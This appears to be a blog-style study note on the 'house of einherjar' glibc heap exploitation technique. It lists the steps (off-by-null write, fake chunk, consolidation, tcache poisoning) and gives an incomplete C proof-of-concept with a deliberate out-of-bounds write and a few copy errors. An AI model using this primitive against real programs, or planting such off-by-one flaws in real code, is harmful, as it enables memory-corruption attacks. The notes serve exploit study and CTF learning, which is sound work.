house-of-einherjar
This technique forces malloc to return a chunk from any address (arbitrary write/read primitive). It uses a off-by-one vulnerability to modify the prev_size of the next heap block, and unset the prev_inuse bit.
null-byte-overwrite -> consolidation -> overlapped chunk -> tcache/fastbin poisonging.
Steps
- Allocate 3 chunks (a,b, & c).
- Prepare fake chunk in
a - modify the
prev_sizeof c and use off-by-null to overwriteprev_inuseflag of c.- set prev size to point to the fake chunk that is in a
- Fill in the tcache bins
- Free c to trigger consolidation.
- This is cause consolidation among c, b and fake chunk. (happens because of
prev_size) - This will result in a free chunk of size (a + b + fake_chunk) in the unsorted bin.
- This is cause consolidation among c, b and fake chunk. (happens because of
- Allocate a new chunk (d)
- used
dto write afd/nextfield and applytcache poisoning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <assert.h>
#include <stdint.h>
int main(void) {
char stack_var[0x40] = "HELLO WORLD!";
// allocate chunks and prepare fake chunk
intptr_t t1 = NULL;
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
t1 = (intptr_t*)&stack_var[i];
break;
}
}
intptr_t *a = malloc(0x38);
a[0] = 0;
a[1] = 0x60;
a[2] = (size_t)a;
a[3] = (size_t)a;
uint8_t *b = (uint8_t*) malloc(0x28);
uint8_t *c = (uint8_t*)malloc(0xf8);
// off by one vuln
b[0x28]=0; // vulnerability
size_t fake_size = (size_t)(c - 0x10 - (uint8_t*)a);
//printf("Fake Size: 0x%lx\n", fake_size);
*(size_t*)&b[0x28 - sizeof(size_t)] = fake_size;
// fill in tcache
char* x[7];
for (int i =0; i < 7; i++) x[i] = malloc(0xf8);
for (int i = 0; i < 7; i++) free(x[i]);
// free c to cause consolidation
free(c);
char *d = (char*)malloc(0x158);
// returns a overlapping chunk
This post is licensed under
CC BY 4.0
by the author.